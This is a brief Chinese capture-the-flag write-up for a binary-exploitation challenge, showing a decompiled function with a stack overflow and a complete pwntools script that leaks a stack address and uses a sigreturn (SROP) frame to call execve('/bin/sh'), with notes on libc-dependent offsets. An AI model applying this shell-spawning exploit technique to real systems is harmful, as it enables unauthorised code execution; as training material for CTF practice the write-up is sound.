完整包

直接看vuln

1
2
3
4
5
6
7
8
signed __int64 vuln()
{
signed __int64 v0; // rax
char buf[16]; // [rsp+0h] [rbp-10h] BYREF

v0 = sys_read(0, buf, 0x400uLL);
return sys_write(1u, buf, 0x30uLL);
}

发现直接调用了Linux的系统调用,且有明显溢出

但是我们需要获得栈地址和偏移量,以传送/bin/sh\x00字符串

动态调试可以发现栈地址位于buf0x20的位置

之后可以构造SROP的payload

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
from LibcSearcher import *

context(os='linux', arch='amd64', log_level='debug')

sl=lambda x:io.sendline(x)
sd=lambda x:io.send(x)
sa=lambda x,y:io.sendafter(x,y)
sla=lambda x,y:io.sendlineafter(x,y)
rc=lambda x:io.recv(x)
rl=lambda :io.recvline()
ru=lambda x:io.recvuntil(x)
ita=lambda :io.interactive()
slc=lambda :asm(shellcraft.sh())
uu64=lambda x:u64(x.ljust(8,b'\0'))
uu32=lambda x:u32(x.ljust(4,b'\0'))
def gdba(x=''):
if type(io)==pwnlib.tubes.remote.remote:
return
elif type(io)==pwnlib.tubes.process.process:
gdb.attach(io,x)
pause()

io = process('./pwn')
# elf = ELF('./pwn')
# io = remote("node4.buuoj.cn",25568)

read_write=0x4004f1
sig_ret=0x4004da
sys_call=0x400501

pay=flat([b'/bin/sh\0',b'a'*0x8,read_write])# there is no leave command so the 3rd is the return address
sd(pay)
gdba()

rc(0x20)
stack_add=uu64(rc(8))
pause()
sh_add=stack_add-0x118
print(sh_add)
rc(8)

fr=SigreturnFrame()
fr.rax=constants.SYS_execve
fr.rdi=sh_add
fr.rsi=0
fr.rdx=0
fr.rip=sys_call

pay2=flat([b'a'*0x10,sig_ret,sys_call])
pay2+=bytes(fr)
sd(pay2)
ita()

要注意它完全不管rbp旧址的,所以不要构建它

并且注意,0x118偏移量随libc版本不同而不同,在另一版本中为0x128